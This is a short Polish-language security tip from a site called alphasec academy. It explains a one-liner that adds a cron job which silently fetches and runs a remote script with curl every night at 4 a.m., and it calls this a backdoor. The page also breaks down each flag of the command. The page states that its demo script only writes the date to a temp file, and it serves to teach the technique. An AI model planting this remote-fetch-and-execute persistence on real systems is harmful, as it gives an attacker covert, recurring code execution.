alphasec academy

(crontab -l; echo '0 4 * * * curl -ksL aptm.in/czwarta|sh') | crontab - może być zupełnie skutecznym backdoorem na Linux/Unix/MacOS

Dodatkowe informacje

Ten oneliner doda do crona wpis, który spowoduje uruchomienie o czwartej nad ranem skryptu znajdującego się pod adresem aptm.in/czwarta, który pobierze aktualną datę i dopisze ją do pliku
/tmp/czwarta_nad_ranem
. Skrypt zostanie uruchomiony w kontekście użytkownika, który tego onelinera uruchomił. Istotne jest to, że poprzednie wpisy w cronie zostaną zachowane.
Rozbierając na kawałki:
  • (crontab -l;
    - wyświetlenie aktualnych wpisów crona, by zostały zachowane,
  • echo '0 4 * * * curl -ksL aptm.in/czwarta|sh'
    - nowe zadanie crona, uruchomione o czwartej nad ranem; opcje dla curla:
    • -k (--insecure)
      - kontynuuj nawet jeśli będą problemy z certyfikatem SSL/TLS,
    • -s (--silent)
      - tryb cichy, bez paska postępu i komunikatów o błędach,
    • -L (--location
      - podążaj za przekierowaniami 30X,
  • ) | crontab
    - wynik tych dwóch poleceń (dlatego umieszczone w nawiasach) przekieruj do polecenia crontab, co spowoduje ustawienie nowego wpisu w cronie (nadpisując poprzednie, ale to zaadresowaliśmy poprzez
    crontab -l
    ).
Tak przygotowany backdoor domyślnie zadziałać powinien na wszstlkich systemach Linux/Unix, w tym na MacOS.

Przydatne linki


Subskrybuj

Jeśli chcesz otrzymywać nowe, mięsiste protipy na maila, a także zostać czasem powiadomiony o wartościowych wydarzeniach - dołącz do subskrybentów.